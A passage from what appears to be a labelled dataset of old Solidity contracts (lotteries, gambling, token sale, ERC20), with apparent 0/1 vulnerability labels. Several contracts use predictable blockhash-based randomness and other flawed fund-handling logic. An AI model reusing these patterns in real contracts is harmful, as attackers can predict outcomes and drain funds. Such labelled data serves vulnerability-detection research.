if (envelope.remainingValue == 0) {
revert();
}
if (envelope.maker != msg.sender) {
revert();
}
uint256 value = envelope.remainingValue;
envelope.remainingValue = 0;
envelope.remainingNumber = 0;
balanceOfEnvelopes -= value;
msg.sender.transfer(value);
Redeemed(
msg.sender,
_envelopeId,
value,
block.timestamp
);
}
function getPaid(uint256 amount) onlyOwner external {
uint256 maxAmount = this.balance - balanceOfEnvelopes;
msg.sender.transfer(amount < maxAmount ? amount : maxAmount);
}
function sayGoodBye() onlyOwner external {
selfdestruct(msg.sender);
}
} | 1 | 5,265 |
pragma solidity ^ 0.4 .18;
contract Etherumble {
struct PlayerBets {
address addPlayer;
uint amount;
}
PlayerBets[] users;
address[] players = new address[](20);
uint[] bets = new uint[](20);
uint nbUsers = 0;
uint totalBets = 0;
uint fees = 0;
uint endBlock = 0;
address owner;
address lastWinner;
uint lastWinnerTicket=0;
uint totalGames = 0;
modifier isOwner() {
require(msg.sender == owner);
_;
}
modifier hasValue() {
require(msg.value >= 10000000000000000 && nbUsers < 19);
_;
}
modifier onlyIf(bool _condition) {
require(_condition);
_;
}
function Etherumble() public {
owner = msg.sender;
}
function getActivePlayers() public constant returns(uint) {
return nbUsers;
}
function getPlayerAddress(uint index) public constant returns(address) {
return players[index];
}
function getPlayerBet(uint index) public constant returns(uint) {
return bets[index];
}
function getEndBlock() public constant returns(uint) {
return endBlock;
}
function getLastWinner() public constant returns(address) {
return lastWinner;
}
function getLastWinnerTicket() public constant returns(uint) {
return lastWinnerTicket;
}
function getTotalGames() public constant returns(uint) {
return totalGames;
}
function() public payable hasValue {
checkinter();
players[nbUsers] = msg.sender;
bets[nbUsers] = msg.value;
users.push(PlayerBets(msg.sender, msg.value));
nbUsers++;
totalBets += msg.value;
if (nbUsers == 2) {
endBlock = block.number + 15;
}
}
function endLottery() internal {
uint sum = 0;
uint winningNumber = uint(block.blockhash(block.number - 1)) % totalBets;
for (uint i = 0; i < nbUsers; i++) {
sum += users[i].amount;
if (sum >= winningNumber) {
withrawWin(users[i].addPlayer,winningNumber);
return;
}
}
}
function withrawWin(address winner,uint winticket) internal {
uint tempTot = totalBets;
lastWinnerTicket = winticket;
totalGames++;
nbUsers = 0;
totalBets = 0;
endBlock = 0;
delete users;
fees += tempTot * 5 / 100;
winner.transfer(tempTot * 95 / 100);
lastWinner = winner;
}
function withrawFee() public isOwner {
owner.transfer(fees);
fees = 0;
}
function destroykill() public isOwner {
selfdestruct(owner);
}
function checkinter() internal{
if (endBlock <= block.number && endBlock != 0) {
endLottery();
}
}
function callback() public isOwner{
if (endBlock <= block.number && endBlock != 0) {
endLottery();
}
}
} | 1 | 3,633 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StorageBase is Ownable {
function withdrawBalance() external onlyOwner returns (bool) {
bool res = msg.sender.send(address(this).balance);
return res;
}
}
contract ActivityStorage is StorageBase {
struct Activity {
bool isPause;
uint16 buyLimit;
uint128 packPrice;
uint64 startDate;
uint64 endDate;
mapping(uint16 => address) soldPackToAddress;
mapping(address => uint16) addressBoughtCount;
}
mapping(uint16 => Activity) public activities;
function createActivity(
uint16 _activityId,
uint16 _buyLimit,
uint128 _packPrice,
uint64 _startDate,
uint64 _endDate
)
external
onlyOwner
{
require(activities[_activityId].buyLimit == 0);
activities[_activityId] = Activity({
isPause: false,
buyLimit: _buyLimit,
packPrice: _packPrice,
startDate: _startDate,
endDate: _endDate
});
}
function sellPackToAddress(
uint16 _activityId,
uint16 _packId,
address buyer
)
external
onlyOwner
{
Activity storage activity = activities[_activityId];
activity.soldPackToAddress[_packId] = buyer;
activity.addressBoughtCount[buyer]++;
}
function pauseActivity(uint16 _activityId) external onlyOwner {
activities[_activityId].isPause = true;
}
function unpauseActivity(uint16 _activityId) external onlyOwner {
activities[_activityId].isPause = false;
}
function deleteActivity(uint16 _activityId) external onlyOwner {
delete activities[_activityId];
}
function getAddressBoughtCount(uint16 _activityId, address buyer) external view returns (uint16) {
return activities[_activityId].addressBoughtCount[buyer];
}
function getBuyerAddress(uint16 _activityId, uint16 packId) external view returns (address) {
return activities[_activityId].soldPackToAddress[packId];
}
} | 0 | 1,050 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract tokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
string public symbols;
function originBurn(uint256 _value) public returns(bool);
}
contract TokedoDaicoInterface {
function sendTokens(address _buyer, uint256 _amount) public returns(bool);
address public owner;
}
contract AtomaxKyc {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (bytes32 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, bytes32 buyerId, uint maxAmount);
constructor() internal {
isKycSigner[0x9787295cdAb28b6640bc7e7db52b447B56b1b1f0] = true;
isKycSigner[0x3b3f379e49cD95937121567EE696dB6657861FB0] = true;
}
function releaseTokensTo(address buyer) internal returns(bool);
function buyTokens(bytes32 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) {
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address _buyerAddress, bytes32 _buyerId, uint256 _maxAmount, uint8 _v, bytes32 _r, bytes32 _s) private returns (bool) {
bytes32 hash = hasher ( _buyerAddress, _buyerId, _maxAmount );
address signer = ecrecover(hash, _v, _r, _s);
require( isKycSigner[signer], "isKycSigner[signer]");
uint256 totalPayed = alreadyPayed[_buyerId].add(msg.value);
require(totalPayed <= _maxAmount);
alreadyPayed[_buyerId] = totalPayed;
emit KycVerified(signer, _buyerAddress, _buyerId, _maxAmount);
return releaseTokensTo(_buyerAddress);
}
function hasher (address _buyerAddress, bytes32 _buyerId, uint256 _maxAmount) public view returns ( bytes32 hash ) {
hash = keccak256(abi.encodePacked("Atomax authorization:", this, _buyerAddress, _buyerId, _maxAmount));
}
}
contract CoinCrowdReservedContract is AtomaxKyc {
using SafeMath for uint256;
tokenInterface public xcc;
TokedoDaicoInterface public tokenSaleContract;
mapping (address => uint256) public tkd_amount;
constructor(address _xcc, address _tokenSaleAddress) public {
xcc = tokenInterface(_xcc);
tokenSaleContract = TokedoDaicoInterface(_tokenSaleAddress);
}
function releaseTokensTo(address _buyer) internal returns(bool) {
require ( msg.sender == tx.origin, "msg.sender == tx.orgin" );
uint256 xcc_amount = xcc.balanceOf(msg.sender);
require( xcc_amount > 0, "xcc_amount > 0" );
xcc.originBurn(xcc_amount);
tokenSaleContract.sendTokens(_buyer, xcc_amount);
if ( msg.value > 0 ) msg.sender.transfer(msg.value);
return true;
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner() );
_;
}
function withdrawTokens(address tknAddr, address to, uint256 value) public onlyTokenSaleOwner returns (bool) {
return tokenInterface(tknAddr).transfer(to, value);
}
function withdraw(address to, uint256 value) public onlyTokenSaleOwner {
to.transfer(value);
}
} | 0 | 590 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address owner, address spender) public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function transfer(address _to, uint256 _value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Play0x_LottoBall {
using SafeMath for uint256;
using SafeMath for uint128;
using SafeMath for uint40;
using SafeMath for uint8;
uint public jackpotSize;
uint public tokenJackpotSize;
uint public MIN_BET;
uint public MAX_BET;
uint public MAX_AMOUNT;
uint public maxProfit;
uint public maxTokenProfit;
uint8 public platformFeePercentage = 15;
uint8 public jackpotFeePercentage = 5;
uint8 public ERC20rewardMultiple = 5;
uint constant BetExpirationBlocks = 250;
uint public lockedInBets;
uint public lockedTokenInBets;
bytes32 bitComparisonMask = 0xF;
address public owner;
address private nextOwner;
address public manager;
address private nextManager;
address public secretSigner;
address public ERC20ContractAddres;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
struct Bet {
uint amount;
uint40 placeBlockNumber;
address gambler;
}
mapping (uint => Bet) public bets;
uint32[] public withdrawalMode;
event PlaceBetLog(address indexed player, uint amount,uint8 rotateTime);
event ToManagerPayment(address indexed beneficiary, uint amount);
event ToManagerFailedPayment(address indexed beneficiary, uint amount);
event ToOwnerPayment(address indexed beneficiary, uint amount);
event ToOwnerFailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event FailedPayment(address indexed beneficiary, uint amount);
event TokenPayment(address indexed beneficiary, uint amount);
event JackpotBouns(address indexed beneficiary, uint amount);
event TokenJackpotBouns(address indexed beneficiary, uint amount);
event BetRelatedData(
address indexed player,
uint playerBetAmount,
uint playerGetAmount,
bytes32 entropy,
bytes32 entropy2,
uint8 Uplimit,
uint8 rotateTime
);
constructor () public {
owner = msg.sender;
manager = DUMMY_ADDRESS;
secretSigner = DUMMY_ADDRESS;
ERC20ContractAddres = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner);
_;
}
modifier onlyManager {
require (msg.sender == manager);
_;
}
modifier onlyOwnerManager {
require (msg.sender == owner || msg.sender == manager);
_;
}
modifier onlySigner {
require (msg.sender == secretSigner);
_;
}
function initialParameter(address _manager,address _secretSigner,address _erc20tokenAddress ,uint _MIN_BET,uint _MAX_BET,uint _maxProfit,uint _maxTokenProfit, uint _MAX_AMOUNT, uint8 _platformFeePercentage,uint8 _jackpotFeePercentage,uint8 _ERC20rewardMultiple,uint32[] _withdrawalMode)external onlyOwner{
manager = _manager;
secretSigner = _secretSigner;
ERC20ContractAddres = _erc20tokenAddress;
MIN_BET = _MIN_BET;
MAX_BET = _MAX_BET;
maxProfit = _maxProfit;
maxTokenProfit = _maxTokenProfit;
MAX_AMOUNT = _MAX_AMOUNT;
platformFeePercentage = _platformFeePercentage;
jackpotFeePercentage = _jackpotFeePercentage;
ERC20rewardMultiple = _ERC20rewardMultiple;
withdrawalMode = _withdrawalMode;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner);
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner);
owner = nextOwner;
}
function approveNextManager(address _nextManager) external onlyManager {
require (_nextManager != manager);
nextManager = _nextManager;
}
function acceptNextManager() external {
require (msg.sender == nextManager);
manager = nextManager;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setTokenAddress(address _tokenAddress) external onlyManager {
ERC20ContractAddres = _tokenAddress;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT);
maxProfit = _maxProfit;
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance);
uint safetyAmount = jackpotSize.add(lockedInBets).add(withdrawAmount);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= address(this).balance);
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function withdrawToken(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
uint safetyAmount = tokenJackpotSize.add(lockedTokenInBets);
safetyAmount = safetyAmount.add(withdrawAmount);
require (safetyAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
ERC20(ERC20ContractAddres).transfer(beneficiary, withdrawAmount);
emit TokenPayment(beneficiary, withdrawAmount);
}
function withdrawAllFunds(address beneficiary) external onlyOwner {
if (beneficiary.send(address(this).balance)) {
lockedInBets = 0;
emit Payment(beneficiary, address(this).balance);
} else {
emit FailedPayment(beneficiary, address(this).balance);
}
}
function withdrawAlltokenFunds(address beneficiary) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
lockedTokenInBets = 0;
emit TokenPayment(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this)));
}
function kill() external onlyOwner {
require (lockedInBets == 0);
require (lockedTokenInBets == 0);
selfdestruct(owner);
}
function getContractInformation()public view returns(
uint _jackpotSize,
uint _tokenJackpotSize,
uint _MIN_BET,
uint _MAX_BET,
uint _MAX_AMOUNT,
uint8 _platformFeePercentage,
uint8 _jackpotFeePercentage,
uint _maxProfit,
uint _maxTokenProfit,
uint _lockedInBets,
uint _lockedTokenInBets,
uint32[] _withdrawalMode){
_jackpotSize = jackpotSize;
_tokenJackpotSize = tokenJackpotSize;
_MIN_BET = MIN_BET;
_MAX_BET = MAX_BET;
_MAX_AMOUNT = MAX_AMOUNT;
_platformFeePercentage = platformFeePercentage;
_jackpotFeePercentage = jackpotFeePercentage;
_maxProfit = maxProfit;
_maxTokenProfit = maxTokenProfit;
_lockedInBets = lockedInBets;
_lockedTokenInBets = lockedTokenInBets;
_withdrawalMode = withdrawalMode;
}
function getContractAddress()public view returns(
address _owner,
address _manager,
address _secretSigner,
address _ERC20ContractAddres ){
_owner = owner;
_manager= manager;
_secretSigner = secretSigner;
_ERC20ContractAddres = ERC20ContractAddres;
}
enum PlaceParam {
RotateTime,
possibleWinAmount
}
function placeBet(uint[] placParameter, bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v) external payable {
require (uint8(placParameter[uint8(PlaceParam.RotateTime)]) != 0);
require (block.number <= _commitLastBlock );
require (secretSigner == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedInBets = lockedInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= msg.value.add(maxProfit));
require (lockedInBets <= address(this).balance);
bet.amount = msg.value;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = msg.sender;
emit PlaceBetLog(msg.sender, msg.value, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function placeTokenBet(uint[] placParameter,bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v,uint _amount,address _playerAddress) external {
require (placParameter[uint8(PlaceParam.RotateTime)] != 0);
require (block.number <= _commitLastBlock );
require (secretSigner == ecrecover(_signatureHash, v, r, s));
Bet storage bet = bets[_commit];
require (bet.gambler == address(0));
lockedTokenInBets = lockedTokenInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)]));
require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= _amount.add(maxTokenProfit));
require (lockedTokenInBets <= ERC20(ERC20ContractAddres).balanceOf(address(this)));
bet.amount = _amount;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = _playerAddress;
emit PlaceBetLog(_playerAddress, _amount, uint8(placParameter[uint8(PlaceParam.RotateTime)]));
}
function getBonusPercentageByMachineMode(uint8 machineMode)public view returns( uint upperLimit,uint maxWithdrawalPercentage ){
uint limitIndex = machineMode.mul(2);
upperLimit = withdrawalMode[limitIndex];
maxWithdrawalPercentage = withdrawalMode[(limitIndex.add(1))];
}
enum SettleParam {
Uplimit,
BonusPercentage,
RotateTime,
CurrencyType,
MachineMode,
PerWinAmount,
PerBetAmount,
PossibleWinAmount,
LuckySeed,
jackpotFee
}
function settleBet(uint[] combinationParameter, uint reveal) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (bet.amount != 0);
require (block.number <= bet.placeBlockNumber.add(BetExpirationBlocks));
bytes32 _entropy = keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
uint(
keccak256(
abi.encodePacked(
reveal,
blockhash(combinationParameter[uint8(SettleParam.LuckySeed)])
)
)
),
blockhash(block.number)
)
)
),
blockhash(block.timestamp)
)
);
uint totalAmount = 0;
uint totalTokenAmount = 0;
uint totalJackpotWin = 0;
(totalAmount,totalTokenAmount,totalJackpotWin) = runRotateTime(combinationParameter,_entropy,keccak256(abi.encodePacked(uint(_entropy), blockhash(combinationParameter[uint8(SettleParam.LuckySeed)]))));
if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
emit JackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
jackpotSize = uint128(jackpotSize.sub(totalJackpotWin));
}else if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
emit TokenJackpotBouns(bet.gambler,totalJackpotWin);
totalAmount = totalAmount.add(totalJackpotWin);
tokenJackpotSize = uint128(tokenJackpotSize.sub(totalJackpotWin));
}
emit BetRelatedData(bet.gambler,bet.amount,totalAmount,_entropy,keccak256(abi.encodePacked(uint(_entropy), blockhash(combinationParameter[uint8(SettleParam.LuckySeed)]))),uint8(combinationParameter[uint8(SettleParam.Uplimit)]),uint8(combinationParameter[uint8(SettleParam.RotateTime)]));
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
if (totalAmount != 0){
sendFunds(bet.gambler, totalAmount , totalAmount);
}
if (totalTokenAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalTokenAmount);
emit TokenPayment(bet.gambler, totalTokenAmount);
}
}
}else if(combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
if (totalAmount != 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
ERC20(ERC20ContractAddres).transfer(bet.gambler, totalAmount);
emit TokenPayment(bet.gambler, totalAmount);
}
}
}
if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
lockedInBets = lockedInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
} else if (combinationParameter[uint8(SettleParam.CurrencyType)] == 1){
lockedTokenInBets = lockedTokenInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]);
}
bet.amount = 0;
if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0) {
jackpotSize = jackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}else if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 1) {
tokenJackpotSize = tokenJackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)]));
}
}
function runRotateTime ( uint[] combinationParameter, bytes32 _entropy ,bytes32 _entropy2)private view returns(uint totalAmount,uint totalTokenAmount,uint totalJackpotWin) {
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 tmp_entropy;
bytes32 tmp_Mask = resultMask;
bool isGetJackpot = false;
for (uint8 i = 0; i < combinationParameter[uint8(SettleParam.RotateTime)]; i++) {
if (i < 64){
tmp_entropy = _entropy & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*(64 - (i.add(1))));
tmp_Mask = tmp_Mask >> 4;
}else{
if ( i == 64){
tmp_Mask = resultMask;
}
tmp_entropy = _entropy2 & tmp_Mask;
tmp_entropy = tmp_entropy >> (4*( 64 - (i%63)));
tmp_Mask = tmp_Mask >> 4;
}
if ( uint(tmp_entropy) < uint(combinationParameter[uint8(SettleParam.Uplimit)]) ){
totalAmount = totalAmount.add(combinationParameter[uint8(SettleParam.PerWinAmount)]);
uint platformFees = combinationParameter[uint8(SettleParam.PerBetAmount)].mul(platformFeePercentage);
platformFees = platformFees.div(1000);
totalAmount = totalAmount.sub(platformFees);
}else{
if (uint(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0){
if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){
uint rewardAmount = uint(combinationParameter[uint8(SettleParam.PerBetAmount)]).mul(ERC20rewardMultiple);
totalTokenAmount = totalTokenAmount.add(rewardAmount);
}
}
}
if (isGetJackpot == false){
isGetJackpot = getJackpotWinBonus(i,_entropy,_entropy2);
}
}
if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) {
totalJackpotWin = jackpotSize;
}else if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) {
totalJackpotWin = tokenJackpotSize;
}
}
function getJackpotWinBonus (uint8 i,bytes32 entropy,bytes32 entropy2) private pure returns (bool isGetJackpot) {
bytes32 one;
bytes32 two;
bytes32 three;
bytes32 four;
bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000;
bytes32 jackpo_Mask = resultMask;
if (i < 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy & jackpo_Mask) >> (4*(64 - (i + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
else if(i >= 61){
if(i == 61){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3)));
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
}
else if(i == 62){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2)));
three = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
four = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
}
else if(i == 63){
one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1));
two = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62;
jackpo_Mask = jackpo_Mask << 4;
four = (entropy2 & 0x00F0000000000000000000000000000000000000000000000000000000000000) >> 4*61;
jackpo_Mask = 0xF000000000000000000000000000000000000000000000000000000000000000;
}
else {
one = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 1)));
jackpo_Mask = jackpo_Mask >> 4;
two = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 2))) ;
jackpo_Mask = jackpo_Mask >> 4;
three = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 3))) ;
jackpo_Mask = jackpo_Mask >> 4;
four = (entropy2 & jackpo_Mask) >>(4*( 64 - (i%64 + 4)));
jackpo_Mask = jackpo_Mask << 8;
}
}
if ((one ^ 0xF) == 0 && (two ^ 0xF) == 0 && (three ^ 0xF) == 0 && (four ^ 0xF) == 0){
isGetJackpot = true;
}
}
function getPossibleWinAmount(uint bonusPercentage,uint senderValue)public view returns (uint platformFee,uint jackpotFee,uint possibleWinAmount) {
uint prePlatformFee = (senderValue).mul(platformFeePercentage);
platformFee = (prePlatformFee).div(1000);
uint preJackpotFee = (senderValue).mul(jackpotFeePercentage);
jackpotFee = (preJackpotFee).div(1000);
uint preUserGetAmount = senderValue.mul(bonusPercentage);
possibleWinAmount = preUserGetAmount.div(10000);
}
function refundBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedInBets = lockedInBets.sub(possibleWinAmount);
sendFunds(bet.gambler, amount, amount);
}
function refundTokenBet(uint commit,uint8 machineMode) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));
bet.amount = 0;
uint platformFee;
uint jackpotFee;
uint possibleWinAmount;
uint upperLimit;
uint maxWithdrawalPercentage;
(upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode);
(platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount);
lockedTokenInBets = uint128(lockedTokenInBets.sub(possibleWinAmount));
ERC20(ERC20ContractAddres).transfer(bet.gambler, amount);
emit TokenPayment(bet.gambler, amount);
}
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
function clearProcessedBet(uint commit) private {
Bet storage bet = bets[commit];
if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BetExpirationBlocks) {
return;
}
bet.placeBlockNumber = 0;
bet.gambler = address(0);
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
function sendFundsToManager(uint amount) external onlyOwner {
if (manager.send(amount)) {
emit ToManagerPayment(manager, amount);
} else {
emit ToManagerFailedPayment(manager, amount);
}
}
function sendTokenFundsToManager( uint amount) external onlyOwner {
ERC20(ERC20ContractAddres).transfer(manager, amount);
emit TokenPayment(manager, amount);
}
function sendFundsToOwner(address beneficiary, uint amount) external onlyOwner {
if (beneficiary.send(amount)) {
emit ToOwnerPayment(beneficiary, amount);
} else {
emit ToOwnerFailedPayment(beneficiary, amount);
}
}
function updateMIN_BET(uint _uintNumber)public onlyManager {
MIN_BET = _uintNumber;
}
function updateMAX_BET(uint _uintNumber)public onlyManager {
MAX_BET = _uintNumber;
}
function updateMAX_AMOUNT(uint _uintNumber)public onlyManager {
MAX_AMOUNT = _uintNumber;
}
function updateWithdrawalModeByIndex(uint8 _index, uint32 _value) public onlyManager{
withdrawalMode[_index] = _value;
}
function updateWithdrawalMode( uint32[] _withdrawalMode) public onlyManager{
withdrawalMode = _withdrawalMode;
}
function updateBitComparisonMask(bytes32 _newBitComparisonMask ) public onlyOwner{
bitComparisonMask = _newBitComparisonMask;
}
function updatePlatformFeePercentage(uint8 _platformFeePercentage ) public onlyOwner{
platformFeePercentage = _platformFeePercentage;
}
function updateJackpotFeePercentage(uint8 _jackpotFeePercentage ) public onlyOwner{
jackpotFeePercentage = _jackpotFeePercentage;
}
function updateERC20rewardMultiple(uint8 _ERC20rewardMultiple ) public onlyManager{
ERC20rewardMultiple = _ERC20rewardMultiple;
}
} | 0 | 519 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
